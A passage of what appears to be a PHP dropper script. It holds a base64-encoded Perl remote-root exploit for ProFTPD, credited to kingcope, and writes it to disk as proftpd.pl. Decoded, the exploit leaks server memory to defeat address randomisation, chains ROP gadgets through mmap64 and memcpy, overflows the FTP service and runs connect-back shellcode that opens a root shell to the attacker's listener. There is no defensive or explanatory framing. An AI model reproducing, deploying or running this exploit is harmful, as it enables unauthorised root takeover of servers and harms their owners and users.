    IHRlY2huaXF1ZSB0byByZXRyaWV2ZSBhIHJvb3RzaGVsbCAoQykga2luZ2NvcGUgMjAxMAojCiMg
    dXNlcyB3cml0ZSgyKSB0byBmZXRjaCBwcm9jZXNzIG1lbW9yeSBvdXQgb2YgdGhlIHJlbW90ZSBi
    b3ggKHlvdSBjYW4gZmluZCB0aGUgb2Zmc2V0IHVzaW5nIElEQSkKIyBvbmx5IHRoZSB3cml0ZSgy
    KSBwbHQgZW50cnkgb2Zmc2V0IGlzIG5lZWRlZCBmb3IgdGhlIGV4cGxvaXQgdG8gd29yayAoYW5k
    IG9mIGNvdXJzZSB0aGUKIyBhbGlnbiB2YWx1ZSkKIyBvbmNlIHRoZSBjb3JyZWN0IHdyaXRlIHZh
    bHVlIGlzIGdpdmVuIHRvIHRoZSBleHBsb2l0IGl0IGZldGNoZXMgdGhlIG1lbW9yeSBzcGFjZSBv
    ZiBwcm9mdHBkLgojIHdpdGggdGhpcyBpbmZvcm1hdGlvbiB0aGUgZXhwbG9pdCBjYW4gZmluZCBm
    dW5jdGlvbiBlbnRyaWVzIGFuZCBieXRlIHZhbHVlcwojIHJlbGF0aXZlIHRvIHRoZSB3cml0ZSgy
    KSBhZGRyZXNzLgojIG9uY2UgdGhlIG1lbW9yeSBpcyByZWFkIG91dCB0aGUgZXhwbG9pdCBkb2Vz
    IHRoZSBmb2xsb3dpbmcgdG8gY2lyY3VtdmVudCBsaW51eCBhZHJlc3Mgc3BhY2UKIyByYW5kb21p
    emF0aW9uOgojIAojIDEuKSBjYWxjdWxhdGUgbW1hcDY0KCkgcGx0IGVudHJ5CiMgMi4pIHNlZWsg
    Zm9yIGFzc2VtYmx5IGluc3RydWN0aW9ucyBpbiB0aGUgcHJvZnRwZCBtZW1vcnkgc3BhY2UgcmVs
    YXRpdmUgdG8gd3JpdGUoMikKIyAgICAgc3VjaCBhcyBwb3AgcG9wIHJldCBpbnN0cnVjdGlvbnMK
    IyAzLikgY2FsbCBtbWFwNjQoKSB0byBtYXAgYXQgYWRkcmVzcyAweDEwMDAwMDAwIHdpdGggcHJv
    dGVjdGlvbiByZWFkLHdyaXRlLGV4ZWN1dGUKIyA0LikgY2FsY3VsYXRlIG9mZnNldCBmb3IgbWVt
    Y3B5KCkgd2hpY2ggaXMgbGF0ZXIgdXNlZCB0byBjb25zdHJ1Y3QgdGhlIHNoZWxsY29kZSBjb3B5
    IHJvdXRpbmUKIyA0LikgY29weSBrbm93biBhc3NlbWJseSBpbnN0cnVjdGlvbnMgKHdoaWNoIGhh
    dmUgYmVlbiBmb3VuZCBiZWZvcmUgdXNpbmcgdGhlIG1lbW9yeSByZWFkKQojICAgICB0byBhZGRy
    ZXNzIDB4MTAwMDAwMDAuIHRoZXNlIGluc3RydWN0aW9ucyB3aWxsIGNvcHkgdGhlIHNoZWxsY29k
    ZSBmcm9tIEVTUCB0byAweDEwMDAwMTAwCiMgICAgIGFuZCBtYWtlIHVzZSBvZiB0aGUgbWVtY3B5
    IGZvdW5kIGJlZm9yZQojIDUuKSBhY3R1YWxseSBqdW1wIHRvIHRoZSBzaGVsbGNvZGUgZmluZGVy
    CiMgNi4pIG9uY2UgdGhlIHNoZWxsY29kZSBoYXMgYmVlbiBjb3BpZWQgdG8gMHgxMDAwMDEwMCBq
    dW1wIHRvIGl0CiMgNy4pIHNoZWxsY29kZSBnZXRzIGV4ZWN1dGVkIGFuZCB3ZSBoYXZlIG91ciBk
    ZXNpcmVkIHJvb3Qgc2hlbGwuCgpzdWIgZXhwbG9pdDIgewoJcHJpbnRmKCJbJHRhcmdldF0gJXMg
    OnBQXG4iLCAkdGFyZ2V0c1skdHR5cGVdWzBdKTsKCSRhbGlnbiA9ICR0YXJnZXRzWyR0dHlwZV1b
    NF07Cgkkd3JpdGVfb2Zmc2V0ID0gJHRhcmdldHNbJHR0eXBlXVszXTsKCSRwYWRkaW5nID0gJHRh
    cmdldHNbJHR0eXBlXVs1XTsKCQkKCSR8PTE7CglwcmludCAiYWxpZ24gPSAkYWxpZ25cbiI7Cglw
    cmludCAiU2Vla2luZyBmb3Igd3JpdGUoMikuLlxuIjsKCQoJI2tub3duIGdvb2Qgd3JpdGUoMikg
    dmFsdWVzCgkjMHgwODA0QzI5MAoJIzB4MDgwNEE4NUMKCSMweDA4MDRBMjM0CgkjMHgwODA1Mjgz
    MAoJIzA4MDUzMkQ4IHByb2Z0cGQtYmFzaWNfMS4zLjNhLTRfaTM4NgoJIzA4MDUyOTM4IHByb2Z0
    cGQtYmFzaWNfMS4zLjJlLTRfaTM4NiAodWJ1bnV0dSkKCSMwODA0Q0NENCBwc2EtcHJvZnRwZF8x
    LjMuMmUtZGViaWFuNS4wLmJ1aWxkOTUxMDA1MDQuMTdfaTM4NiAhIQoKCXByaW50ZiAiVXNpbmcg
    d3JpdGUgb2Zmc2V0ICUwOHguXG4iLCAkd3JpdGVfb2Zmc2V0OwoJJGsgPSAkd3JpdGVfb2Zmc2V0
    OwoJJHNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJHRhcmdldCwKICAg
    ICAgCSAgICAgICAgICAgICAgICAgICAgICAgICAgUGVlclBvcnQgPT4gMjEsCiAgICAgICAgICAg
    CQkgICAgICAgICAgICAgICAgICBQcm90byAgICA9PiAndGNwJyk7CgoJJHNvY2stPnNvY2tvcHQo
    U09fTElOR0VSLCBwYWNrKCJpaSIsIDEsIDApKTsKCSMkeCA9IDxzdGRpbj47Cgkkc3RhY2sgPSAi
    S0NPUEVSVUxFWktDT1BFUlVMRVpLQyIuICJDIiB4ICRwYWRkaW5nIC4gCgkJCSBwYWNrKCJWIiwg
    JGspLiAgIyB3cml0ZQoJCQkgIlx4Y2NceGNjXHhjY1x4Y2MiLgoJCQkgIlx4MDFceDAwXHgwMFx4
    MDAiLgkjIGZkIGZvciB3cml0ZQoJCQkgcGFjaygiViIsICRrKS4gIyBidWZmZXIgZm9yIHdyaXRl
    CgkJCSAiXHhmZlx4ZmZceDAwXHgwMCI7CSMgbGVuZ3RoIGZvciB3cml0ZQoKCSR2ID0gPCRzb2Nr
    PjsKCQoJcHJpbnQgJHNvY2sgIlx4MDAiIHggJGFsaWduIC4gIlx4ZmYiIC4gJHN0YWNrIC4gIlxu
    IjsKCQoJdmVjICgkcmZkLCBmaWxlbm8oJHNvY2spLCAxKSA9IDE7CgoJJHRpbWVvdXQgPSAxOwog
    ICAgaWYgKHNlbGVjdCAoJHJmZCwgdW5kZWYsIHVuZGVmLCAkdGltZW91dCkgPj0gMAogICAgICAg
    ICAgICAgJiYgdmVjKCRyZmQsIGZpbGVubygkc29jayksIDEpKQogICAgewogICAgICAgaWYgKHJl
    YWQoJHNvY2ssICRidWZmLCAweGZmZmYpID09IDB4ZmZmZikgewoJCXByaW50ZiAiXG5TVUNDRVNT
    LiB3cml0ZSgyKSBpcyBhdCAlMDh4XG4iLCAkazsJCgkJY2xvc2UoJHNvY2spOwoJCWdvdG8gbGJs
    MTsKCQl9CiAgICB9CiAgICAKCWNsb3NlKCRzb2NrKTsKCXByaW50ZiAid3Jvbmcgd3JpdGUoMikg
    b2Zmc2V0LlxuIjsKCWV4aXQ7CgpsYmwxOgojCU9uY2Ugd2UncmUgaGVyZSBjaGFuY2VzIGFyZSBn
    b29kIHRoYXQgd2UgZ2V0IHRoZSByb290IHNoZWxsCgoJcHJpbnQgIlJlYWRpbmcgbWVtb3J5IGZy
    b20gc2VydmVyLi4uXG4iOwoJbXkgJHNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUGVlckFk
    ZHIgPT4gJHRhcmdldCwKICAgICAgCSAgICAgICAgICAgICAgICAgICAgICAgICAgUGVlclBvcnQg
    PT4gMjEsCiAgICAgICAgICAgCQkgICAgICAgICAgICAgICAgICBQcm90byAgICA9PiAndGNwJyk7
    CQoJCgkkc3RhY2sgPSAiS0NPUEVSVUxFWktDT1BFUlVMRVpLQyIgLiAiQyIgeCAkcGFkZGluZyAu
    IAoJCQkgcGFjaygiViIsICRrKS4gICMgd3JpdGUKCQkJICJceGNjXHhjY1x4Y2NceGNjIi4KCQkJ
    ICJceDAxXHgwMFx4MDBceDAwIi4JIyBmZCBmb3Igd3JpdGUKCQkJIHBhY2soIlYiLCAkaykuICMg
    YnVmZmVyIGZvciB3cml0ZQoJCQkgIlx4ZmZceGZmXHgwZlx4MDAiOwkjIGxlbmd0aCBmb3Igd3Jp
    dGUKCgkkdiA9IDwkc29jaz47CgkKCXByaW50ICRzb2NrICJceDAwIiB4ICRhbGlnbiAuICJceGZm
    IiAuICRzdGFjayAuICJcbiI7IAoJCglyZWFkKCRzb2NrLCAkYnVmZiwgMHhmZmZmZik7CgoJaWYg
    KCgkdiA9IGluZGV4ICRidWZmLCAiXHg1RVx4NUZceDVEIikgPj0gMCkgewoJCSRwb3AzcmV0ID0g
    JGsgKyAkdjsKCQlwcmludGYgInBvcCBwb3AgcG9wIHJldCBsb2NhdGVkIGF0ICUwOHhcbiIsICRw
    b3AzcmV0OwoJfSBlbHNlIHsKCQlwcmludCAiQ291bGQgbm90IGZpbmQgcG9wIHBvcCBwb3AgcmV0
    XG4iOwoJCWV4aXQ7Cgl9CgkKCWlmICgoJHYgPSBpbmRleCAkYnVmZiwgIlx4ODNceEM0XHgyMFx4
    NUJceDVFXHg1RFx4QzMiKSA+PSAwKSB7CgkJJGxhcmdlcG9wcmV0ID0gJGsgKyAkdjsKCQlwcmlu
    dGYgImxhcmdlIHBvcCByZXQgbG9jYXRlZCBhdCAlMDh4XG4iLCAkbGFyZ2Vwb3ByZXQ7Cgl9IGVs
    c2UgewoJCXByaW50ICJDb3VsZCBub3QgZmluZCBwb3AgcG9wIHBvcCByZXRcbiI7CgkJZXhpdDsK
    CX0KCglpZiAoKCR2ID0gaW5kZXggJGJ1ZmYsICJceEM3XHg0NFx4MjRceDA4XHgwM1x4MDBceDAw
    XHgwMFx4QzdceDA0XHgyNFx4MDBceDAwXHgwMFx4MDBceDg5XHg0NFx4MjRceDA0IikgPj0gMCkg
    ewoJCSRhZGRyMSA9ICRrKyR2KzIzOwoJCQoJCSRtbWFwNjQgPSB1bnBhY2soIkkiLCBzdWJzdHIo
    JGJ1ZmYsICR2KzIwLCA0KSk7CgkJJG1tYXA2NCA9ICRhZGRyMSAtICgweGZmZmZmZmZmLSRtbWFw
    NjQpOwoJCXByaW50ZiAibW1hcDY0IGlzIGxvY2F0ZWQgYXQgJTA4eFxuIiwgJG1tYXA2NDsKCX0g
    ZWxzZSB7CgkJaWYgKCgkdiA9IGluZGV4ICRidWZmLCAiXHg4OVx4NDRceDI0XHgxMFx4QTFceEJD
    XHhBNVx4MEZceDA4XHg4OVx4NDRceDI0XHgwNFx4ZTgiKSA+PSAwKSB7CgkJCSRhZGRyMSA9ICRr
    KyR2KzE3OwoJCQoJCQkkbW1hcDY0ID0gdW5wYWNrKCJJIiwgc3Vic3RyKCRidWZmLCAkdisxNCwg
    NCkpOwoJCQkkbW1hcDY0ID0gJGFkZHIxIC0gKDB4ZmZmZmZmZmYtJG1tYXA2NCk7CgkJCXByaW50
    ZiAibW1hcDY0IGlzIGxvY2F0ZWQgYXQgJTA4eFxuIiwgJG1tYXA2NDsKCQl9IGVsc2UgewoJCQlw
    cmludCAiQ291bGQgbm90IGZpbmQgbW1hcDY0KClcbiI7CgkJCWV4aXQ7CgkJfQoJfQoJCgkJCgkJ
    CgkJaWYgKCgkdiA9IGluZGV4ICRidWZmLCAiXHg4RFx4NDVceEY0XHg4OVx4MDRceDI0XHg4OVx4
    NTRceDI0XHgwOFx4OEJceDU1XHgwOFx4ODlceDU0XHgyNFx4MDRceEU4IikgPj0gMCkgewoJCQkk
    YWRkcjEgPSAkayskdisyMTsKCQkJJG1lbWNweSA9IHVucGFjaygiSSIsIHN1YnN0cigkYnVmZiwg
    JHYrMTgsIDQpKTsKCQkJJG1lbWNweSA9ICRhZGRyMSAtICgweGZmZmZmZmZmLSRtZW1jcHkpOwoJ
    CQlwcmludGYgIm1lbWNweSBpcyBsb2NhdGVkIGF0ICUwOHhcbiIsICRtZW1jcHk7CgkJfSBlbHNl
    IHsJCQoJCQoJCWlmICgoJHYgPSBpbmRleCAkYnVmZiwgIlx4OEJceDU2XHgxMFx4ODlceDQ0XHgy
    NFx4MDhceDg5XHg1NFx4MjRceDA0XHg4Qlx4NDVceEU0XHg4OVx4MDRceDI0XHhlOCIpID49IDAp
    IHsKCQkJJGFkZHIxID0gJGsrJHYrMjE7CgkJCgkJCSRtZW1jcHkgPSB1bnBhY2soIkkiLCBzdWJz
    dHIoJGJ1ZmYsICR2KzE4LCA0KSk7CgkJCSRtZW1jcHkgPSAkYWRkcjEgLSAoMHhmZmZmZmZmZi0k
    bWVtY3B5KTsKCQkJcHJpbnRmICJtZW1jcHkgaXMgbG9jYXRlZCBhdCAlMDh4XG4iLCAkbWVtY3B5
    OwoJCX0gZWxzZSB7CgkJaWYgKCgkdiA9IGluZGV4ICRidWZmLCAiXHg4OVx4NDRceDI0XHgwNFx4
    QTFceEJDXHg5Rlx4MEVceDA4XHg4OVx4MDRceDI0IikgPj0gMCkgewoJCQkkYWRkcjEgPSAkaysk
    disxNjsKCQkKCQkJJG1lbWNweSA9IHVucGFjaygiSSIsIHN1YnN0cigkYnVmZiwgJHYrMTMsIDQp
    KTsKCQkJJG1lbWNweSA9ICRhZGRyMSAtICgweGZmZmZmZmZmLSRtZW1jcHkpOwoJCQlwcmludGYg
    Im1lbWNweSBpcyBsb2NhdGVkIGF0ICUwOHhcbiIsICRtZW1jcHk7CgkJfSBlbHNlIHsKCQlpZiAo
    KCR2ID0gaW5kZXggJGJ1ZmYsICJceDg5XHg3Q1x4MjRceDA0XHg4OVx4MUNceDI0XHg4OVx4NDRc
    eDI0XHgwOCIpID49IDApIHsKCQkJJGFkZHIxID0gJGsrJHYrMTU7CgkJCgkJCSRtZW1jcHkgPSB1
    bnBhY2soIkkiLCBzdWJzdHIoJGJ1ZmYsICR2KzEyLCA0KSk7CgkJCSRtZW1jcHkgPSAkYWRkcjEg
    LSAoMHhmZmZmZmZmZi0kbWVtY3B5KTsKCQkJcHJpbnRmICJtZW1jcHkgaXMgbG9jYXRlZCBhdCAl
    MDh4XG4iLCAkbWVtY3B5OwoJCgkJfQkgZWxzZSB7CgkJaWYgKCgkdiA9IGluZGV4ICRidWZmLCAi
    XHg4Qlx4NTVceDEwXHg4OVx4NzRceDI0XHgwNFx4ODlceDA0XHgyNFx4ODlceDU0XHgyNFx4MDgi
    KSA+PSAwKSB7CgkJCSRhZGRyMSA9ICRrKyR2KzE4OwoJCQkkbWVtY3B5ID0gdW5wYWNrKCJJIiwg
    c3Vic3RyKCRidWZmLCAkdisxNSwgNCkpOwoJCQkkbWVtY3B5ID0gJGFkZHIxIC0gKDB4ZmZmZmZm
    ZmYtJG1lbWNweSk7CgkJCXByaW50ZiAibWVtY3B5IGlzIGxvY2F0ZWQgYXQgJTA4eFxuIiwgJG1l
    bWNweTsKCQl9IGVsc2UgewoJCQkKCQkJcHJpbnQgIkNvdWxkIG5vdCBmaW5kIG1lbWNweSgpXG4i
    OwoJCQlleGl0OwkKCQl9CgkJfQoJCX0KCQl9CQoJfQoJCglpZiAoKCR2ID0gaW5kZXggJGJ1ZmYs
    ICJceGZjXHg4YiIpID49IDApIHsKCQkkYnl0ZTEgPSAkayskdjsKCQlwcmludGYgKCJieXRlMTog
    JTA4eFxuIiwgJGJ5dGUxKTsJCgl9IGVsc2UgewoJCXByaW50ICJDb3VsZCBub3QgZmluZCBhIHNw
    ZWNpYWwgYnl0ZVxuIjsKCQlleGl0OwkKCX0KCQoJaWYgKCgkdiA9IGluZGV4ICRidWZmLCAiXHhm
    NCIpID49IDApIHsKCQkkYnl0ZTIgPSAkayskdjsKCQlwcmludGYgKCJieXRlMjogJTA4eFxuIiwg
    JGJ5dGUyKTsKCX0gZWxzZSB7CgkJcHJpbnQgIkNvdWxkIG5vdCBmaW5kIGEgc3BlY2lhbCBieXRl
    XG4iOwoJCWV4aXQ7CQoJfQoJCglpZiAoKCR2ID0gaW5kZXggJGJ1ZmYsICJceGJmIikgPj0gMCkg
    ewoJCSRieXRlMyA9ICRrKyR2OwoJCXByaW50ZiAoImJ5dGUzOiAlMDh4XG4iLCAkYnl0ZTMpOwkK
    CX0gZWxzZSB7CgkJcHJpbnQgIkNvdWxkIG5vdCBmaW5kIGEgc3BlY2lhbCBieXRlXG4iOwoJCWV4
    aXQ7CQoJfQoJCglpZiAoKCR2ID0gaW5kZXggJGJ1ZmYsICJceDAwXHgwMVx4MDAiKSA+PSAwKSB7
    CgkJJGJ5dGU0ID0gJGsrJHY7CgkJcHJpbnRmICgiYnl0ZTQ6ICUwOHhcbiIsICRieXRlNCk7CQoJ
    fSBlbHNlIHsKCQlwcmludCAiQ291bGQgbm90IGZpbmQgYSBzcGVjaWFsIGJ5dGVcbiI7CgkJZXhp
    dDsJCgl9CgoJaWYgKCgkdiA9IGluZGV4ICRidWZmLCAiXHgxMCIpID49IDApIHsKCQkkYnl0ZTUg
    PSAkayskdjsKCQlwcmludGYgKCJieXRlNTogJTA4eFxuIiwgJGJ5dGU1KTsJCgl9IGVsc2UgewoJ
    CXByaW50ICJDb3VsZCBub3QgZmluZCBhIHNwZWNpYWwgYnl0ZVxuIjsKCQlleGl0OwkKCX0KCQoJ
    aWYgKCgkdiA9IGluZGV4ICRidWZmLCAiXHhCOVx4MDBceDAyXHgwMFx4MDAiKSA+PSAwKSB7CgkJ
    JGJ5dGU2ID0gJGsrJHY7CgkJcHJpbnRmICgiYnl0ZTY6ICUwOHhcbiIsICRieXRlNik7CQoJfSBl
    bHNlIHsKCQlwcmludCAiQ291bGQgbm90IGZpbmQgYSBzcGVjaWFsIGJ5dGVcbiI7CgkJZXhpdDsJ
    Cgl9CgkKCglpZiAoKCR2ID0gaW5kZXggJGJ1ZmYsICJceGYzIikgPj0gMCkgewoJCSRieXRlNyA9
    ICRrKyR2OwoJCXByaW50ZiAoImJ5dGU3OiAlMDh4XG4iLCAkYnl0ZTcpOwkKCX0gZWxzZSB7CgkJ
    cHJpbnQgIkNvdWxkIG5vdCBmaW5kIGEgc3BlY2lhbCBieXRlXG4iOwoJCWV4aXQ7CQoJfQoJCglp
    ZiAoKCR2ID0gaW5kZXggJGJ1ZmYsICJceEE0IikgPj0gMCkgewoJCSRieXRlOCA9ICRrKyR2OwoJ
    CXByaW50ZiAoImJ5dGU4OiAlMDh4XG4iLCAkYnl0ZTgpOwoJfSBlbHNlIHsKCQlwcmludCAiQ291
    bGQgbm90IGZpbmQgYSBzcGVjaWFsIGJ5dGVcbiI7CgkJZXhpdDsJCgl9CgkKCWlmICgoJHYgPSBp
    bmRleCAkYnVmZiwgIlx4ZWJceGZmIikgPj0gMCkgewoJCSRieXRlOSA9ICRrKyR2OwoJCXByaW50
    ZiAoImJ5dGU5OiAlMDh4XG4iLCAkYnl0ZTkpOwoJfSBlbHNlIHsKCQlwcmludCAiQ291bGQgbm90
    IGZpbmQgYSBzcGVjaWFsIGJ5dGVcbiI7CgkJZXhpdDsJCgl9CgkKIyBzaGVsbGNvZGUgY29weSBy
    b3V0aW5lOgojMDEwMDc0MEIgICAgIEZDICAgICAgICAgICAgIENMRAojMDEwMDc0MEMgICAgIDhC
    RjQgICAgICAgICAgIE1PViBFU0ksRVNQCiMwMTAwNzQwRSAgICAgQkYgMDAwMTAwMTAgICAgTU9W
    IEVESSwxMDAwMDEwMAojMDEwMDc0MTMgICAgIEI5IDAwMDIwMDAwICAgIE1PViBFQ1gsMjAwCiMw
    MTAwNzQxOCAgICAgRjM6QTQgICAgICAgICAgUkVQIE1PVlMgQllURSBQVFIgRVM6W0VESV0sQllU
    RSBQVFIgRFM6Wz4KIwkJCSAgRUIgRkYgCQkgSk1QICsweEZGCQkKIyBGQyA4QgkKIyBGNCBCRgoj
    IDAwIDAxIDAwCiMgMTAKIyBCOSAwMCAwMiAwMCAwMAojIEYzOkE0CiMgRUIgRkYKCiMgRWwxVGUg
    WC1QbG9pdCBUZWNoTmlxVWUgKEMpCgoJcHJpbnQgIkJ1aWxkaW5nIGV4cGxvaXQgYnVmZmVyXG4i
    OwoKCSRzdGFjayA9ICJLQ09QRVJVTEVaS0NPUEVSVUxFWktDIiAuICJDIiB4ICRwYWRkaW5nIC4g
    CgkJCSBwYWNrKCJWIiwgJG1tYXA2NCkuICMgbW1hcDY0KCkKCQkJIHBhY2soIlYiLCAkbGFyZ2Vw
    b3ByZXQpLiAjIGFkZCAgICAgZXNwLCAyMGg7IHBvcDsgcG9wCgkJCSAiXHgwMFx4MDBceDAwXHgx
    MCIuICMgbW1hcCBzdGFydAoJCQkgIlx4MDBceDEwXHgwMFx4MDAiLiAjIG1tYXAgc2l6ZQoJCQkg
    Ilx4MDdceDAwXHgwMFx4MDAiLiAjIG1tYXAgcHJvdAoJCQkgIlx4MzJceDAwXHgwMFx4MDAiLiAj
    IG1tYXAgZmxhZ3MKCQkJICJceGZmXHhmZlx4ZmZceGZmIi4gIyBtbWFwIGZkCgkJCSAiXHgwMFx4
    MDBceDAwXHgwMCIuICMgbW1hcCBvZmZzZXQKCQkJICJceDAwXHgwMFx4MDBceDAwIi4gIyBtbWFw
    IG9mZnNldAkJCSAKCQkJICJceDAwXHgwMFx4MDBceDAwIi4KCQkJICJceDAwXHgwMFx4MDBceDAw
    Ii4KCQkJICJceDAwXHgwMFx4MDBceDAwIi4KCQkJICJceDAwXHgwMFx4MDBceDAwIi4KCQkJIHBh
    Y2soIlYiLCAkbWVtY3B5KS4gIyBtZW1jcHkoKQoJCQkgcGFjaygiViIsICRwb3AzcmV0KS4gIyBw
    b3A7IHBvcDsgcG9wOyByZXRuCgkJCSAiXHgwMFx4MDBceDAwXHgxMCIuICMgZGVzdGluYXRpb24K
    CQkJIHBhY2soIlYiLCAkYnl0ZTEpLiAjIG9yaWdpbgoJCQkgIlx4MDJceDAwXHgwMFx4MDAiLiAj
    IG51bWJlciBvZiBieXRlcyB0byBjb3B5CgkJCSAKCQkJIHBhY2soIlYiLCAkbWVtY3B5KS4gIyBt
    ZW1jcHkoKQoJCQkgcGFjaygiViIsICRwb3AzcmV0KS4gIyBwb3A7IHBvcDsgcG9wOyByZXRuCgkJ
    CSAiXHgwMlx4MDBceDAwXHgxMCIuICMgZGVzdGluYXRpb24KCQkJIHBhY2soIlYiLCAkYnl0ZTIp
    LiAjIG9yaWdpbgoJCQkgIlx4MDFceDAwXHgwMFx4MDAiLiAjIG51bWJlciBvZiBieXRlcyB0byBj
    b3B5CgoJCQkgcGFjaygiViIsICRtZW1jcHkpLiAjIG1lbWNweSgpCgkJCSBwYWNrKCJWIiwgJHBv
    cDNyZXQpLiAjIHBvcDsgcG9wOyBwb3A7IHJldG4KCQkJICJceDAzXHgwMFx4MDBceDEwIi4gIyBk
    ZXN0aW5hdGlvbgoJCQkgcGFjaygiViIsICRieXRlMykuICMgb3JpZ2luCgkJCSAiXHgwMVx4MDBc
    eDAwXHgwMCIuICMgbnVtYmVyIG9mIGJ5dGVzIHRvIGNvcHkKCQkJIAkJCSAKCQkJIHBhY2soIlYi
    LCAkbWVtY3B5KS4gIyBtZW1jcHkoKQoJCQkgcGFjaygiViIsICRwb3AzcmV0KS4gIyBwb3A7IHBv
    cDsgcG9wOyByZXRuCgkJCSAiXHgwNFx4MDBceDAwXHgxMCIuICMgZGVzdGluYXRpb24KCQkJIHBh
    Y2soIlYiLCAkYnl0ZTQpLiAjIG9yaWdpbgoJCQkgIlx4MDNceDAwXHgwMFx4MDAiLiAjIG51bWJl
    ciBvZiBieXRlcyB0byBjb3B5CgkJCSAKCQkJIHBhY2soIlYiLCAkbWVtY3B5KS4gIyBtZW1jcHko
    KQoJCQkgcGFjaygiViIsICRwb3AzcmV0KS4gIyBwb3A7IHBvcDsgcG9wOyByZXRuCgkJCSAiXHgw
    N1x4MDBceDAwXHgxMCIuICMgZGVzdGluYXRpb24KCQkJIHBhY2soIlYiLCAkYnl0ZTUpLiAjIG9y
    aWdpbgoJCQkgIlx4MDFceDAwXHgwMFx4MDAiLiAjIG51bWJlciBvZiBieXRlcyB0byBjb3B5CgkJ
    CSAKCQkJIHBhY2soIlYiLCAkbWVtY3B5KS4gIyBtZW1jcHkoKQoJCQkgcGFjaygiViIsICRwb3Az
    cmV0KS4gIyBwb3A7IHBvcDsgcG9wOyByZXRuCgkJCSAiXHgwOFx4MDBceDAwXHgxMCIuICMgZGVz
    dGluYXRpb24KCQkJIHBhY2soIlYiLCAkYnl0ZTYpLiAjIG9yaWdpbgoJCQkgIlx4MDVceDAwXHgw
    MFx4MDAiLiAjIG51bWJlciBvZiBieXRlcyB0byBjb3B5CgoJCQkgcGFjaygiViIsICRtZW1jcHkp
    LiAjIG1lbWNweSgpCgkJCSBwYWNrKCJWIiwgJHBvcDNyZXQpLiAjIHBvcDsgcG9wOyBwb3A7IHJl
    dG4KCQkJICJceDBkXHgwMFx4MDBceDEwIi4gIyBkZXN0aW5hdGlvbgoJCQkgcGFjaygiViIsICRi
    eXRlNykuICMgb3JpZ2luCgkJCSAiXHgwMVx4MDBceDAwXHgwMCIuICMgbnVtYmVyIG9mIGJ5dGVz
    IHRvIGNvcHkKCgkJCSBwYWNrKCJWIiwgJG1lbWNweSkuICMgbWVtY3B5KCkKCQkJIHBhY2soIlYi
    LCAkcG9wM3JldCkuICMgcG9wOyBwb3A7IHBvcDsgcmV0bgoJCQkgIlx4MGVceDAwXHgwMFx4MTAi
    LiAjIGRlc3RpbmF0aW9uCgkJCSBwYWNrKCJWIiwgJGJ5dGU4KS4gIyBvcmlnaW4KCQkJICJceDAx
    XHgwMFx4MDBceDAwIi4gIyBudW1iZXIgb2YgYnl0ZXMgdG8gY29weQoJCQkgCgkJCSBwYWNrKCJW
    IiwgJG1lbWNweSkuICMgbWVtY3B5KCkKCQkJIHBhY2soIlYiLCAkcG9wM3JldCkuICMgcG9wOyBw
    b3A7IHBvcDsgcmV0bgoJCQkgIlx4MGZceDAwXHgwMFx4MTAiLiAjIGRlc3RpbmF0aW9uCgkJCSBw
    YWNrKCJWIiwgJGJ5dGU5KS4gIyBvcmlnaW4KCQkJICJceDAyXHgwMFx4MDBceDAwIi4gIyBudW1i
    ZXIgb2YgYnl0ZXMgdG8gY29weQoJCQkgCgkJCSAiXHgwMFx4MDBceDAwXHgxMCIuICMgSlVNUCBU
    TyAweDEwMDAwMDAwIHJ3eHAgYWRkcmVzcwkJCSAKCgkJCSAiXHg5MCIgeCAxMDAgLiAkc2hlbGxj
    b2RlIC4gIlx4OTAiIHggMTA7CQkKCQoJcHJpbnQgIlNlbmRpbmcgZXhwbG9pdCBidWZmZXIhXG4i
    OwoJCglteSAkc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQZWVyQWRkciA9PiAkdGFyZ2V0
    LAogICAgICAJICAgICAgICAgICAgICAgICAgICAgICAgICBQZWVyUG9ydCA9PiAyMSwKICAgICAg
    ICAgICAJCSAgICAgICAgICAgICAgICAgIFByb3RvICAgID0+ICd0Y3AnKTsJCQkJIAoJJHYgPSA8
    JHNvY2s+OwoKCXByaW50ICRzb2NrICJceDAwIiB4ICRhbGlnbiAuICJceGZmIiAuICRzdGFjayAu
    ICJcbiI7CgkKCXByaW50ICJDaGVjayB5b3VyIG5ldGNhdD9cbiI7CgkKCXdoaWxlKDwkc29jaz4p
    IHsKCQlwcmludDsJCgl9CQkJIAp9CgpzdWIgdXNhZ2UoKSB7CglwcmludCAid3JpdHRlbiBieSBr
    aW5nY29wZVxuIjsKIAlwcmludCAidXNhZ2U6XG4iLgogCQkgICJwcm9yZW1vdGUucGwgPHRhcmdl
    dCBpcC9ob3N0PiA8eW91ciBpcD4gPHRhcmdldCB0eXBlPlxuXG4iOwogICAgZm9yICgkaT0wOyAk
    aTwkbnVtdGFyZ2V0czsgJGkrKykgewogIAkJcHJpbnQgIlx0WyIuJGkuIl1cdCIuICR0YXJnZXRz
    WyRpXVswXS4gIlxyXG4iOwogICAgfQogCQkgIApleGl0Owp9CgppZiAoJCNBUkdWIG5lIDIpIHsg
    dXNhZ2U7IH0KCiR0YXJnZXQgPSAkQVJHVlswXTsKJGNiaXAgPSAkQVJHVlsxXTsKJHR0eXBlID0g
    JEFSR1ZbMl07CgokcGxhdGZvcm0gPSAkdGFyZ2V0c1skdHR5cGVdWzFdOwokc3R5bGUgPSAkdGFy
    Z2V0c1skdHR5cGVdWzJdOwoKKCRhMSwgJGEyLCAkYTMsICRhNCkgPSBzcGxpdCgvLywgZ2V0aG9z
    dGJ5bmFtZSgiJGNiaXAiKSk7CgppZiAoJHBsYXRmb3JtIGVxICJGcmVlQlNEIikgewoJJHNoZWxs
    Y29kZSA9ICRic2RjYnNjOwoJc3Vic3RyKCRzaGVsbGNvZGUsIDM3LCA0LCAkYTEgLiAkYTIgLiAk
    YTMgLiAkYTQpOwp9IGVsc2UgeyAKaWYgKCRwbGF0Zm9ybSBlcSAiTGludXgiKSB7Cgkkc2hlbGxj
    b2RlID0gJGxueGNic2M7CglzdWJzdHIoJHNoZWxsY29kZSwgMzEsIDQsICRhMSAuICRhMiAuICRh
    MyAuICRhNCk7Cn0gZWxzZSB7CglwcmludCAidHlwbyA/XG4iOwoJZXhpdDsKfX0KCmlmICgkc3R5
    bGUgZXEgMCkgewoJZXhwbG9pdDE7Cn0gZWxzZSB7CglleHBsb2l0MjsJCn0KCnByaW50ICJkb25l
    LlxuIjsKZXhpdDs=\';
     
    $file = fopen("proftpd.pl" ,"w+");
    $write = fwrite ($file ,base64_decode($proftp));
    fclose($file);
     
    class proftpd{
     
